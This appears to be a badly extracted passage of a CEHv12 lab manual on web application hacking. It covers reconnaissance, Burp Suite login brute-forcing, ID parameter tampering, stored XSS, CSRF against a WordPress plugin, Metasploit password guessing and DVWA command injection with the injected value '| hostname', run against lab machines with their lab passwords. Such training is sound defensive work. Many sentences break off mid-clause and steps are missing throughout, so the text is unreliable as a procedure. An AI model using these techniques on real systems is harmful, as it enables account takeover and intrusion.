CEHv12 - Module 14 - Hacking Web Applications
CEHv12 - Module 14 - Hacking Web Applications
Scenario
A web application is a software application running on a web browser that allows a web user to
submit data to and retrieve it from a database over the Internet or within an intranet. Web
applications have helped to make web pages dynamic as they allow users to communicate with
servers using server-side scripts. They allow users to perform specific tasks such as searching,
sending emails, connecting with friends, online shopping, and tracking and tracing.
Entities develop various web applications to offer their services to users via the Internet . Whenever
users need access to such services, they can request them by submitting the uniform resource
identifier (URI) or uniform resource locator (URL) of the web application in a browser. Common
web applications include webmail, online retail sales, online auctions, wikis, and many others.
With the wide adoption of web applications as a cost-effective channel for communication and
information exchange, they have also become a major attack vector for gaining access to
business. Everyone connected via the Internet uses an endless variety of web applications for
different purposes, including online shopping, email, chats, and social networking. Increasingly,
web applications are becoming vulnerable to more sophisticated threats and attack vectors.
Web application hacking is the exploitation of applications via HTTP by manipulating the
application logics via an application’s graphical web interface, tampering with the uniform
resource identifier (URI) or HTTP elements not contained in the URI. Methods for hacking web
applications, including SQL injection attacks, cross-site scripting (XSS), cross-site request
Now, it is time to move to the next, and most important, stage of a security assessment. An expert
ethical hacker or penetration tester (hereafter, pen tester) must test web applications for various
attacks such as brute-force, XSS, parameter tampering, and CSRF, and then secure the web
The labs in this module provide hands-on experience with various web application attacks to help
Objective
The objective of the lab is to perform web application hacking and other tasks that include, but are
• Performing web spidering, detect load balancers, and identify web server directories.
• Detecting web application vulnerabilities using various web application security tools.
Overview of Web Applications
Web applications provide an interface between end -users and web servers through a set of web
pages generated at the server end or that contain script code to be executed dynamically in a client’s
Web browser.
Web applications run on web browsers and use a group of server-side scripts (such as ASP and
PHP) and client-side scripts (such as HTML and JavaScript) to execute the application. The
working of a web application depends on its architecture, which includes the hardware and
software that performs tasks such as reading the request, searching, gathering, and displaying the
required data.
Lab Tasks
Ethical hackers or pen testers use numerous tools and techniques to perform web application
attacks on the target web application. Recommended labs that will assist you in learning various
server.
3. Detect Web Application Vulnerabilities using Various Web Application Security Tools
Scanner.
Lab Scenario
The first step in web application hacking for an ethical hacker or pen tester is to gather the
maximum available information about the target organization website by performing web
application footprinting using various techniques and tools. In this step, you will use techniques
such as web spidering and vulnerability scanning to gather complete information about the target
web application.
Web infrastructure footprinting helps you to identify vulnerable web applications, understand how
they connect with peers and the technologies they use, and find vulnerabilities in specific parts of
the web app architecture. These vulnerabilities can further help you to exploit and gain
The labs in this exercise demonstrate how easily hackers can gather information about your web
Lab Objectives
Footprinting the web infrastructure allows attackers to engage in the following tasks:
• Server Discovery: Attackers attempt to discover the physical servers that host a web
application using techniques such as Whois Lookup, DNS Interrogation, and Port
Scanning.
whether they can use some of them as attack paths for hacking a web app.
• Server Identification: Attackers use banner-grabbing to obtain server banners; this helps
• Hidden Content Discovery: Footprinting also allows attackers to extract content and
functionality that is not directly linked to or reachable from the main visible content.
Task 1: Perform Web Application Reconnaissance using Nmap and Telnet
In web application reconnaissance, you must perform various tasks such as server discovery,
service discovery, server identification or banner grabbing, and hidden content discovery. A
professional ethical hacker or pen tester must gather as much information as possible about the
target website by performing web application footprinting using various techniques and tools.
In this task, we will perform web application reconnaissance to gather information about server IP
address, DNS names, location and type of server, open ports and services, make, model, version
Note: In this task, the target website (www.moviescope.com) is hosted by the victim machine
(Windows Server 2019). Here, the host machine is the Parrot Security machine.
toor in the Password field and press Enter to log in to the machine.
3. Perform a Whois lookup to gather information about the IP address of the web server and
the complete information about the domain such as its registration details, name servers,
5. Perform DNS Interrogation to gather information about the DNS servers, DNS records,
and types of servers used by the target organization. DNS zone data include DNS domain
names, computer names, IP addresses, domain mail servers, service records, etc.
6. Use tools such as, DNSRecon (https://github.com), and DNS Records (https://network-
7. Now, we will perform port scanning to gather information about the open ports and services
8. Click the MATE Terminal icon at the top of the Desktop window to open a Terminal
window.
9. A Parrot Terminal window appears. In the terminal window, type sudo su and press
Note: If a Question pop-up window appears, asking for you to update the machine,
11. Now, type cd and press Enter to jump to the root directory.
12. In the Parrot Terminal window, type nmap -T4 -A -v [Target Web Application] (here,
the target web application is www.moviescope.com) and press Enter to perform a port
Note: In this command, -T4: specifies setting time template (0-5), -A: specifies
aggressive scan, and -v: enables the verbose output (include all hosts and ports in
the output).
13. The result appears, displaying the open ports and services running on the machine hosting
NetBIOS name, DNS name, MAC address, OS, and other information is displayed, as
server software.
16. In the terminal window, type telnet www.moviescope.com 80 and press Enter to establish
Note: Port 80 is the port number assigned to the commonly used Internet
17. The Trying 10.10.1.19… message appears; type GET / HTTP/1.0 and press Enter two
times.
18. The result appears, displaying information related to the server name and its version,
technology used.
19. Here, the server is identified as Microsoft-IIS/10.0 and the technology used is ASP.NET.
Note: In real-time, an attacker can specify either the IP address of a target machine
or the URL of a website. In both cases, the attacker obtains the banner information
of the respective target. In other words, if the attacker entered an IP address, they
receive the banner information of the target machine; if they enter the URL of a
website, they receive the banner information of the respective web server that hosts
the website.
20. This concludes the demonstration of how to perform web application reconnaissance
(Whois lookup, DNS interrogation, port and services discovery, banner grabbing, and
firewall detection).
21. Close all open windows and document all acquired information.
WhatWeb identifies websites and recognizes web technologies, including content management
systems (CMS), blogging platforms, statistics and analytics packages, JavaScript libraries, web
servers, and embedded devices. It also identifies version numbers, email addresses, account IDs,
Note: In this task, the target website (www.moviescope.com) is hosted by the victim machine
(Windows Server 2019). Here, the host machine is the Parrot Security machine.
1. Click the MATE Terminal icon at the top of the Desktop window to open a Terminal
window.
2. A Parrot Terminal window appears. In the terminal window, type sudo su and press
3. In the [sudo] password for attacker field, type toor as a password and press Enter.
website.
7. The result appears, displaying the MovieScope website infrastructure, as shown in the
screenshot.
8. In the terminal, type whatweb -v [Target Web Application] (here, the target web
application is www.moviescope.com) and press Enter to run a verbosity scan on the target
website.
9. The result appears, displaying a detailed report on the target website such as its IP address,
Note: This will generate a report with the name MovieScope_Report and save this
infrastructure and find underlying vulnerabilities, and later exploit them to launch
further attacks.
13. This concludes the demonstration of how to perform website reconnaissance on a target
14. Close all open windows and document all acquired information.
OWASP Zed Attack Proxy (ZAP) is an integrated penetration testing tool for finding
vulnerabilities in web applications. It offers automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually. ZAP provides functionality for a range of skill
Here, we will perform web spidering on the target website using OWASP ZAP.
Note: In this task, the target website (www.moviescope.com) is hosted by the victim machine
(Windows Server 2019). Here, the host machine is the Parrot Security machine.
1. Click the MATE Terminal icon at the top of the Desktop window to open a Terminal
window.
2. A Parrot Terminal window appears. In the terminal window, type sudo su and press
3. In the [sudo] password for attacker field, type toor as a password and press Enter.
7. After completing initialization, a prompt that reads Do you want to persist the ZAP
Session? appears; select the No, I do not want to persist this session at this moment in
field (here, www.moviescope.com). Leave the other settings to default and click the
Attack button.
10. OWASP ZAP starts scanning the target website. You can observe various URLs under the
Spider tab.
11. After performing web spidering, OWASP ZAP performs active scanning. Navigate to the
various vulnerabilities and issues associated with the target website, as shown in the
screenshot.
Note: In this task, the objective being web spidering, we will focus on the
spidering information. By default, the URLs tab appears under the Spider tab.
14. The URLs tab contains various links for hidden content and functionality associated with
regarding the URLs obtained while performing the web spidering, as shown in the
screenshot.
content and functionality, which is not reachable from the main visible content, to
exploit user privileges within the application. It also allows attackers to recover
backup copies of live files, configuration and log files containing sensitive data,
backup archives containing snapshots of files within the web root, and new
17. Close all open windows and document all acquired information.
Organizations use load balancers to distribute web server load over multiple servers and increase
the productivity and reliability of web applications. Generally, there are two types of load
balancers, namely, DNS load balancers (Layer 4 load balancers) and http load balancers (layer 7
load balancers). You can use various tools such as dig and load balancing detector (lbd) to detect
the load balancers of the target organization along with their real IP addresses.
Here, we will detect load balancers using dig command and lbd tool.
Note: In this task, we will detect the load balancers on the website www.yahoo.com, as the
websites hosted by our lab environment do not use load balancers. However, you can select a target
1. Click the MATE Terminal icon at the top of the Desktop window to open a Terminal
window.
2. A Parrot Terminal window appears. In the terminal window, type sudo su and press
3. In the [sudo] password for attacker field, type toor as a password and press Enter.
5. A Parrot Terminal window appears; type dig yahoo.com and press Enter.
6. The result appears, displaying the available load balancers of the target website, as the
Note: dig command provides detailed results and is used to identify whether the
8. The result appears, displaying the available DNS load balancers used by the target website,
Note: lbd (load balancing detector) detects if a given domain uses DNS and http
load balancing via the Server: and Date: headers and the differences between server
answers. It analyzes the data received from application responses to detect load
balancers.
9. This concludes the demonstration of how to detect load balancers using dig command and
lbd tool.
10. Close all open windows and document all acquired information.
Web servers host the web applications, therefore, misconfigurations in the hosting of web
applications may lead to the exposure of critical files and directories over the Internet. A
professional ethical hacker or pen tester must identify the target web application’s files and
directories exposed on the Internet using various automated tools such as Nmap Gobuster and
Dirsearch. This information further helps in gathering sensitive information stored in the files and
folders.
Here, we will use Nmap, Gobuster and Dirsearch tools to identify web server directories on the
target website.
Note: In this task, the target website (www.moviescope.com) is hosted by the victim machine
(Windows Server 2019). Here, the host machine is the Parrot Security machine.
1. Click the MATE Terminal icon at the top of the Desktop window to open a Terminal
window.
2. A Parrot Terminal window appears. In the terminal window, type sudo su and press
5. A Parrot Terminal window appears; type nmap -sV --script=http-enum [target domain
6. The result appears, displaying open ports and services, along with their version.
7. Scroll-down in the result and observe the identified web server directories under the http-
the target web applications hosted by the web servers either to gain administrator-
level access to the server or to retrieve sensitive information stored on the server.
Attackers use the Nmap NSE script http-enum to enumerate the applications,
directories, and files of the web servers that are exposed on the Internet. Through
this method, attackers identify critical security vulnerabilities on the target web
application.
8. Now, we shall copy the wordlist file (common.txt) from a shared network drive. We will
10. Click Places from the top-section of the Desktop and click Desktop from the drop-down
options.
11. Navigate to CEHv12 Module 14 Hacking Web Applications folder and copy
common.txt file.
Note: dir: uses the directory or file brute-forcing mode, -u: specifies the target URL
(here, www.moviescope.com), and -w: specifies the wordlist file used for directory
screenshot.
Note: In real-time, attackers use Gobuster to scan the target website for web server
directories and perform fast-paced enumeration of the hidden files and directories
of the target web application. Gobuster is a command -oriented tool used to brute-
force URIs in websites, DNS subdomains, and names of the virtual hosts on the
target server.
15. Now, click the MATE Terminal icon at the top of the Desktop window to open a
Terminal window.
16. A Parrot Terminal window appears. In the terminal window, type sudo su and press
17. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: -u: specifies URL and –e: specifies extension of the file.
23. dirsearch lists all the files containing aspx extension, as shown in the screenshot.
24. Now, we will perform directory bruteforcing by excluding the status code 403.
press Enter.
Gobuster.
28. Close all open windows and document all acquired information.
Vega is a web application scanner used to test the security of web applications. It helps you to find
and validate SQL Injection, XSS, inadvertently disclosed sensitive information, and other
vulnerabilities.
Here, we will discover vulnerabilities in the target web application using Vega.
Note: In this task, the target website (http://10.10.1.22:8080/dvwa) is hosted by the victim
machine (Windows Server 2022). Here, the host machine is the Windows 11 machine.
1. Click CEHv12 Windows Server 2022 to switch to the Windows Server 2022 machine
2. Now, in the left corner of Desktop, click Type here to search field, type wampserver64
4. Wait for this icon to turn green, which indicates that the WampServer is successfully
running.
5. Click CEHv12 Windows 11 to switch to the Windows 11 machine, click Ctrl+Alt+Del
6. By default, Admin user profile is selected, type Pa$$w0rd in the Password field and press
Enter to login.
URI for scan radio button is selected under the Scan Target section.
11. In the Enter a base URI for scan field, enter the target URL as
Note: 10.10.1.22 is the IP address of Windows Server 2022, where the DVWA
13. By checking these options, all modules under these options will be selected. Click Next.
14. In the Authentication Options wizard, leave the settings to default and click Next.
15. In Parameters wizard, leave the settings to default and click Finish to initiate the scan.
16. The Follow Redirect? pop-up appears; click Yes to continue.
17. The Vega application starts scanning the target website for vulnerabilities. Observe the
Note: In the left-hand pane, under the Scan Alerts section, you can see the scan
Completed.
18. After the scanner finishes performing its vulnerability assessment on the target website, it
scan result. Now, choose any one of the discovered vulnerabilities to display it on the
20. Choose any one vulnerability under the Scan Alerts section in the left-hand pane. Here,
we are selecting the Cleartext Password over HTTP vulnerability; detailed information
regarding the selected vulnerability will be displayed in the right section of the window, as
view its detailed information and then apply appropriate fixes for all the vulnerable codes
22. This concludes the demonstration of how to discover vulnerabilities in a target website
23. You can also use other web application vulnerability scanning tools such as WPScan
24. Close all open windows and document all acquired information.
Task 7: Identify Clickjacking Vulnerability using ClickjackPoc
Clickjacking, also known as a “UI redress attack,” occurs when an attacker uses multiple
transparent or opaque layers to trick a user into clicking on a button or link on another page when
they intend to click on the top-level page. Thus, the attacker is “hijacking” clicks meant for the
top-level page and routing them to another page, most likely owned by another application,
domain, or both.
Note: In this task, we will identify a clickjacking vulnerability in the target website
(www.moviescope.com) hosted by the Windows Server 2019 machine, and we will use the
1. Click CEHv12 Parrot Security to switch to Parrot Security machine. Click the MATE
Terminal icon at the top of the Desktop window to open a Terminal window.
2. A Parrot Terminal window appears. In the terminal window, type sudo su and press
3. In the [sudo] password for attacker field, type toor as a password and press Enter.
press Enter.
6. This will create a file named domain.txt containing the website link.
7. Type python3 clickJackPoc.py -f domain.txt press Enter to start the scan.
8. The result appears, displaying that the target website is vulnerable to clickjacking as shown
in screenshot.
9. Now, click Places from the top-section of the Desktop and click Home Folder from the
drop-down options.
10. An attacker window appears, double click on ClickjackPoc directory.
11. In ClickjackPoc directory, right-click www.moviescope.com.html file and hover cursor
14. Close all open windows and document all acquired information.
Lab Scenario
For an ethical hacker or pen tester, the next step after gathering required information about the
target web application is to attack the web application. They must have the required knowledge to
perform web application attacks to test the target network’s web application security infrastructure.
Attackers perform web application attacks with certain goals in mind. These goals may be eit her
technical or non-technical. For example, attackers may breach the security of the web application
and steal sensitive information for financial gain or for curiosity’s sake. To hack the web app, first,
the attacker analyzes it to determine its vulnerable areas. Next, they attempt to reduce the “attack
surface.” Even if the target web application only has a single vulnerability, attackers will try to
compromise its security by launching an appropriate attack. They try various application-level
attacks such as injection, XSS, broken authentication, broken access control, security
An ethical hacker or pen tester must test their company’s web application against various attacks
and other vulnerabilities. They must find various ways to extend the security test and analyze web
applications, for which they employ multiple testing techniques. This will help in predicting t he
the organization.
The tasks in this lab will assist in performing attacks on web applications using various techniques
and tools.
Lab Objectives
One maintains and accesses web applications through various levels that include custom web
applications, third-party components, databases, web servers, OSes, networks, and security. All
the mechanisms or services employed at each layer help the user in one way or another to access
the web application securely. When talking about web applications, the organization considers
security to be a critical component, because web applications are major sources of attacks.
Attackers make use of vulnerabilities to exploit and gain unrestricted access to the application or
the entire network. Attackers try various application-level attacks to compromise the security of
Burp Suite is an integrated platform for performing security testing of web applications. It has
various tools that work together to support the entire testing process from the initial mapping and
analysis of an application’s attack surface to finding and exploiting security vulnerabilities. Burp
Suite contains key components such as an intercepting proxy, application-aware spider, advanced
web application scanner, intruder tool, repeater tool, and sequencer tool.
Here, we will perform a brute-force attack on the target website using Burp Suite.
Note: In this task, the target WordPress website (http://10.10.1.22:8080/CEH) is hosted by the
victim machine, Windows Server 2022. Here, the host machine is the Parrot Security machine.
Note: Ensure that the Wampserver is running in Windows Server 2022 machine. To run the
press Enter.
• Now, in the left corner of Desktop, click Type here to search field, type
• Click the Show hidden icons icon, observe that the WampServer icon appears.
• Wait for this icon to turn green, which indicates that the WampServer is
successfully running.
2. Click the Firefox icon from the top section of Desktop to launch the Mozilla Firefox
browser.
3. The Mozilla Firefox window appears; type http://10.10.1.22:8080/CEH/wp-login.php?
browser.
5. In the Mozilla Firefox browser, click the Open menu icon in the right corner of the menu
press Enter.
7. The Search Results appear. Click the Settings button under the Network Settings option.
8. The Connection Settings window appears; select the Manual proxy configuration radio
button and specify the HTTP Proxy as 127.0.0.1 and the Port as 8080. Tick the Also use
this proxy for FTP and HTTPS checkbox and click OK. Close the Preferences tab and
of Desktop, and navigate to Pentesting --> Web Application Analysis --> Web
10. In the next Burp Suite Community Edition notification, click OK.
11. In the Terms and Conditions wizard, click the I Accept button.
Note: If Delete old temporary files? pop-up appears, click Delete.
12. The Burp Suite main window appears; ensure that the Temporary project radio button is
button.
14. The Burp Suite main window appears; click the Proxy tab from the available options in
type random credentials, here admin and password. Click the Log In button.
the application.
18. Now, right-click anywhere on the HTTP request window, and from the context menu, click
Send to Intruder.
Note: Observe that Burp Suite intercepted the entered login credentials.
Note: If you do not get the request as shown in the screenshot, then press the
Forward button.
19. Now, click on the Intruder tab from the toolbar and observe that under the Intruder tab,
20. Observe the target host and port values in the Host and Port fields.
21. Click on the Positions tab under the Intruder tab and observe that Burp Suite sets the
target positions by default, as shown in the HTTP request. Click the Clear § button from
drop-down list.
Note: Cluster bomb uses multiple payload sets. There is a different payload set for
each defined position (up to a maximum of 20). The attack iterates through each
payload set in turn so that all permutations of payload combinations are tested. For
example, if there are two payload positions, the attack will place the first payload
from payload set 2 into position 2 and iterate through all payloads in payload set 1
in position 1; it will then place the second payload from payload set 2 into position
username value entered in Step 16 and click Add § from the left-pane.
24. Similarly, select the password value entered in Step 16 and click Add § from the right-
pane.
Note: Here, the username and password are admin and password.
25. Once the username and password payloads are added. The symbol ‘§’ will be added at the
start and end of the selected payload values. Here, as the screenshot shows, the values are
Sets section, the Payload set is selected as 1, and the Payload type is selected as Simple
list.
27. Under the Payload Options [Simple list] section, click the Load… button.
28. A file selection window appears; navigate to the location
section, select the Payload set as 2 from the drop-down options and ensure that the
31. Under the Payload Options [Simple list] section, click the Load… button.
32. A file selection window appears; navigate to the location
displays various username-password combinations along with the Length of the response
37. Wait for the progress bar at the bottom of the window to complete.
38. After the progress bar completes, scroll down and observe the different values of Status
Note: Different values of Status and Length indicate that the combination of the
Note: The values might differ when you perform this task.
39. In the Raw tab under the Request tab, the HTTP request with a set of the correct credentials
10.10.1.22 window.
41. Navigate back to the Proxy tab and click the Intercept is on button to turn off the
interception. The Intercept is on button toggles to Intercept is off, indicating that the
interception is off.
42. Switch to the browser window and perform Steps 5-7. Remove the browser proxy set up
in Step 8, by selecting the No proxy radio-button in the Connection Settings window and
Note: Here, the username and password are admin and qwerty@123.
44. You are successfully logged in using the brute-forced credentials. The Welcome to
46. Close all open windows and document all acquired information.
A web parameter tampering attack involves the manipulation of parameters exchanged between
the client and server to modify application data such as user credentials and permissions, price,
Here, we will use the Burp Suite tool to perform parameter tampering.
Note: In this task, the target website (www.moviescope.com) is hosted by the victim machine,
Windows Server 2019. Here, the host machine is the Parrot Security machine.
1. In Parrot Security machine click the Firefox icon from the top section of Desktop to
2. The Mozilla Firefox window appears; type http://www.moviescope.com Into the address
4. In the Mozilla Firefox browser, click the Open menu icon in the right corner of the menu
press Enter.
6. The Search Results appear. Click the Settings button under the Network Settings option.
7. A Connection Settings window appears. Select the Manual proxy configuration radio
of Desktop, and navigate to Pentesting --> Web Application Analysis --> Web
11. The Burp Suite main window appears; ensure that the Temporary project radio button is
button.
13. The Burp Suite main window appears; click the Proxy tab from the available options in
(www.moviescope.com), enter the credentials sam and test. Click the Login button.
by the application.
Note: You can observe that the entered login credentials were intercepted by the
Burp Suite.
17. Now, keep clicking the Forward button until you are logged into the user account.
18. Switch to the browser, and observe that you are now logged into the user account, as shown
in the screenshot.
19. Now, click the View Profile tab from the menu bar to view the user information.
20. After clicking the View Profile tab, switch back to the Burp Suite window and keep
clicking the Forward button until you get the HTTP request, as shown in the screenshot.
21. Now, click Expand icon present in the right-corner of the window in the INSPECTOR
section.
22. Inspector wizard appears, click to expand Query Parameters.
23. You can observe NAME and VALUE columns, double click on the value, or click arrow
icon (>).
24. In the next wizard, change the VALUE from 1 to 2 and click Apply Changes button.
25. In the Raw tab, click the Intercept is on button to turn off the interception.
26. After switching off the interception, navigate back to the browser window and observe that
the user account associated with ID=2 appears with the name John, as shown in the
screenshot.
Note: Although we logged in using sam as a username with ID=1, using Burp Suite,
user accounts.
27. Similarly, you can edit the id parameter in Burp Suite with any random numeric value to
28. Switch to the browser window and perform Steps 4-6. Remove the browser proxy set up
in Step 7, by selecting the No proxy radio-button in the Connection Settings window and
Suite.
30. Close all open windows and document all acquired information.
PwnXSS is an open-source XSS scanner that is used to detect cross-site scripting (XSS)
language.
Here, we will use the PwnXSS tool to scan the target website for cross-site scripting (XSS)
vulnerability.
1. In the Parrot Security machine, click the MATE Terminal icon at the top of the Desktop
2. A Parrot Terminal window appears. In the terminal window, type sudo su and press
3. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: -u: specifies the target url (here, http://testphp.vulnweb.com). However, you
9. In the address bar of the Firefox browser, paste the copied link and press Enter.
Note: If a pop-up appears, click OK to close it.
10. This concludes the demonstration of how to identify XSS vulnerabilities in web application
using PwnXSS
11. Close all open windows and document all acquired information.
Parameter tampering is a simple form of attack aimed directly at an application’s business logic.
A parameter tampering attack exploits vulnerabilities in integrity and logic validation mechanisms
attackers to inject client-side script into web pages viewed by other users. Attackers inject
malicious JavaScript, VBScript, ActiveX, HTML, or Flash code for execution on a victim’s system
Although implementing a strict application security routine, parameters, and input validation can
minimize parameter tampering and XSS vulnerabilities, many websites and web applications are
Attacking web applications through parameter tampering and XSS vulnerabilities is one of the
steps an attacker takes in attempting to compromise a web application’s security. An expert ethical
hacker and pen tester should be aware of the different parameter tampering and XSS methods that
Here, we will learn how to exploit parameter tampering and XSS vulnerabilities in the target web
application.
Note: In this task, the target website (www.moviescope.com) is hosted by the victim machine
Windows Server 2019. Here, the host machine is the Windows 11 machine.
2. Launch any browser, here, Mozilla Firefox. In the address bar of the browser place your
(here, you). You will observe that the value of ID in the personal information and address
bar is 4.
6. Now, try to change the parameter in the address bar to id=1 and press Enter.
7. You will be redirected to the profile of sam without having to perform any hacking
techniques to explore the database. Here, you can observe Sam’s personal information
9. You get the profile for kety. This way, you can change the id number and obtain profile
Note: This process of changing the ID value and getting the result is known as
generated web pages. This enables malicious attackers to inject client-side scripts
Name field; enter the cross-site script as shown in the screenshot in the Comment field
Note: If a notification appears saying To display this page, Firefox must send
14. Click CEHv12 Windows Server 2019 to switch to the Windows Server 2019 machine.
browser place your mouse cursor and type http://www.moviescope.com and press Enter.
16. The MovieScope website appears. In the Login form, type the Username and Password
bar.
18. As soon as you click the Contacts tab, the cross-site script running on the backend server
20. This concludes the demonstration of how to exploit parameter tampering and XSS
21. Close all open windows and document all acquired information.
CSRF, also known as a one-click attack, occurs when a hacker instructs a user’s web browser to
send a request to the vulnerable website through a malicious web page. Financial websites
commonly contain CSRF vulnerabilities. Usually, outside attackers cannot access corporate
intranets, so CSRF is one of the methods used to enter these networks. The inability of web
applications to differentiate a request made using malicious code from a genuine request exposes
it to the CSRF attack. These attacks exploit web page vulnerabilities that allow an attacker to force
an unsuspecting user’s browser to send malicious requests that they did not intend.
CSRF attacks can be performed using various techniques and tools. Here, we will perform a CSRF
Note: In this task, the target WordPress website (http://10.10.1.22:8080/CEH) is hosted by the
victim machine Windows Server 2022. Here, the host machine is the Parrot Security machine.
1. Click CEHv12 Windows Server 2022 to switch to the Windows Server 2022 machine.
2. Click Ctrl+Alt+Del to activate the machine, by default, CEH\Administrator account is
3. In Type here to search field of the Desktop, type wampserver and click on
5. Wait for this icon to turn green, which indicates that the WampServer is successfully
running.
6. Now, open any web browser (here, Mozilla Firefox). In the address bar place your mouse
9. Hover your mouse cursor on Plugins in the left pane and click Installed Plugins, as shown
in the screenshot.
10. In the Plugins page, observe that leenk.me is installed. Click Activate under the leenk.me
Note: Refresh the page if leenk.me does not appear on the left pane.
12. The leenk.me General Settings page appears. Tick the Facebook checkbox in the Choose
which social network modules you want to enable for this site option under the
under the Administrator Options section, the Facebook checkbox is selected in the
Choose which social network modules you want to enable for this site option and click
15. Clear the Default Description text field. Leave the other settings to default and click the
17. Click the Firefox icon from the top section of Desktop to open Firefox browser.
18. The Firefox window appears. Type https://wpscan.com/register into the address bar and
press Enter.
19. A webpage with a Register new user form appears; scroll down and in the Required fields
enter your personal details. Check I agree to the terms of service checkbox..
20. Now, scroll down to the end of the page, click I'm not a robot and click on Register
button.
Note: If Would you like Firefox to save this login notification appears at the top
address….
22. Now, open a new tab in the Firefox browser and open the email account you gave while
23. Once you are logged into your email account, open the email from [email protected],
Note: If you get any error while accessing website content in Parrot Security
machine, then browse the same website in your local machine, login into your
24. A new webpage appears with a message saying Your email address has been successfully
confirmed. Enter the same details in the Email Address and Password fields that you
Note: If a Would you like Firefox to save this login notification appears at the top
the menu bar and click Get started for free button.
26. The Edit Profile page appears; in the API Token section and observe the API Token. Note
down or copy this API Token; we will use this token in the later steps.
27. Close the Firefox browser window.
28. Click the MATE Terminal icon at the top of the Desktop window to open a Terminal
window.
29. A Parrot Terminal window appears. In the terminal window, type sudo su and press
30. In the [sudo] password for attacker field, type toor as a password and press Enter.
31. Now, type cd and press Enter to jump to the root directory.
32. In the Terminal window, type wpscan --api-token [API Token from Step#26] --url
Enter.
35. In this task, we will exploit the CSRF vulnerability present in the leenkme plugin.
36. Minimize the Terminal window. Click the Places menu at the top of Desktop and click
options.
39. The Network window appears; press the Ctrl+L keys. A Location field appears; type
Security_Script.html script.
43. Click CEHv12 Windows Server 2022 to switch to the Windows Server 2022 machine
network drive), copy the Security_Script.html file, and paste it onto Desktop.
45. Right-click the Security_Script.html file and navigate to Open with --> Firefox.
Note: You should use the same browser that was used in Step 6.
46. The Security_Script.html file opens up in the Mozilla Firefox browser, along with a pop-
Observe that the field values have been changed, indicating a successful CSRF attack on
49. Close all open windows on both the machines (Window Server 2022 and Parrot Security)
Task 6: Enumerate and Hack a Web Application using WPScan and Metasploit
The Metasploit Framework is a penetration testing toolkit, exploit development platform, and
research tool that includes hundreds of working remote exploits for a variety of platforms. It helps
In this task, we will perform multiple attacks on a vulnerable PHP website (WordPress) in an
attempt to gain sensitive information such as usernames and passwords. You will also learn how
to use the WPScan tool to enumerate usernames on a WordPress website, and how to crack
Note: Ensure that the Wampserver is running in Windows Server 2022. To launch Wampserver:
• Click CEHv12 Windows Server 2022 to switch to the Windows Server 2022
press Enter.
• Now, in the left corner of Desktop, click Type here to search field, type
• Click the Show hidden icons icon, observe that the WampServer icon appears.
• Wait for this icon to turn green, which indicates that the WampServer is
successfully running.
2. Click the MATE Terminal icon at the top of the Desktop window to open a Terminal
window.
3. A Parrot Terminal window appears. In the terminal window, type sudo su and press
Note: If a Question pop-up window appears, asking for you to update the machine,
4. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note:Here, we will use the API token that we obtained by registering with the
https://wpscan.com/register website.
7. WPScan begins to enumerate the usernames stored in the website’s database. The result
8. Scroll down to the User(s) Identified section and observe the information regarding the
10. To obtain the passwords, you will use the auxiliary module called wordpress_login_enum
(in msfconsole) to perform a dictionary attack using the password.txt file (in the Wordlist
11. To use the wordpress_login_enum auxiliary module, you need to first launch msfconsole.
12. In the terminal window, type service postgresql start and press Enter to start the
PostgreSQL service.
13. Type msfconsole and press Enter to launch the Metasploit framework.
16. To know all options available to configure in this Metasploit module, type show options,
17. This provides a list of options that can be set for this module. As we must obtain the
password for the target user account, we will set the below options:
o PASS_FILE: Sets the password.txt file, using which; you will perform the
dictionary attack
o RHOST: Sets the target machine (here, the Windows Server 2022 IP address)
o RPORT: Sets the target machine port (here, the Windows Server 2022 port)
o TARGETURI: Sets the base path to the WordPress website (here, http://[IP
o USERNAME: Sets the username that was obtained in Step 8. (here, admin)
containing the passwords. (here, we are using the password.txt password file).
o Type set RHOSTS [IP Address of Windows Server 2022] (here, 10.10.1.22) and
press Enter to set the target IP address. (Here, the IP address of Windows Server
2022 is 10.10.1.22).
o Type set RPORT 8080 and press Enter to set the target port.
2022]:8080/CEH and press Enter to set the base path to the WordPress website
o Type set USERNAME admin and press Enter to set the username as admin.
Note: You may issue any one of the usernames that you have obtained during the
enumeration process in Step 8. In this task, the admin user is being issued.
19. All the options have successfully been set. Type run and press Enter to execute the
auxiliary module.
20. Observe that the auxiliary module initially enumerates details such as the ID number and
the stored location of the username admin, and then begins to brute-force the login
Note: Here, the cracked password is qwerty@123, which might differ in your lab
environment.
22. Now, use the obtained username-password combination to log into the WordPress website.
23. Now, click the Firefox icon from the top section of Desktop to launch the Mozilla Firefox
browser.
24. In the address field, type http://[IP Address of Windows Server 2022]:8080/CEH/wp-
Note: If a Would you like Firefox to save this login notification appears at the top
27. This concludes the demonstration of how to enumerate and hack a web application using
28. Close all open windows on both the machines (Windows Server 2022 and Parrot
Server
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is extremely
vulnerable. The main objective of DVWA is to aid security professionals in testing their skills and
tools in a legal environment, to help web developers better understand the processes of securing
web applications, and to aid teachers and students in teaching and learning web application security
in a classroom environment.
In this task, we will perform command-line execution on a vulnerability found in DVWA. Here,
you will learn how to extract information about a target machine, create a user account, assign
administrative privileges to the created account, and use that account to log in to the target
machine.
2. Launch any browser, here, we are using Mozilla Firefox. In the address bar of the browser
3. The DVWA login page appears; type the Username and Password as gordonb and
Note: If a Would you like Firefox to save this login notification appears at the top
type the IP address of the Windows Server 2022 machine (here, 10.10.1.22) into the Enter
an IP address field and click the Submit button to ping the machine.
Note: The command injection utility in DVWA allows you to ping the target
machine.
6. DVWA successfully pings the target machine, as shown in the screenshot.
7. Now, try to issue a different command to check whether DVWA can execute it.
8. Type | hostname into the Enter an IP address field and click Submit. This command is
11. Now, check the security setting of the web application. To do so, click DVWA Security
12. The DVWA Security page appears. Observe that the security level is Impossible. This
security setting was blocking you from executing commands other than simply pinging a
machine.
13. Now, to exploit the command execution vulnerability, set the Security Level of the web
application to low by selecting the option Low from the drop-down list and click Submit.
Note: Here, your intention would be to show that a weakly secured web application
16. The Vulnerability: Command Injection page appears; type | hostname into the Enter
17. DVWA returns the name of the Windows Server 2022 machine, as shown in the
screenshot.
18. This infers that the command execution field is vulnerable and that you can remotely
execute commands.
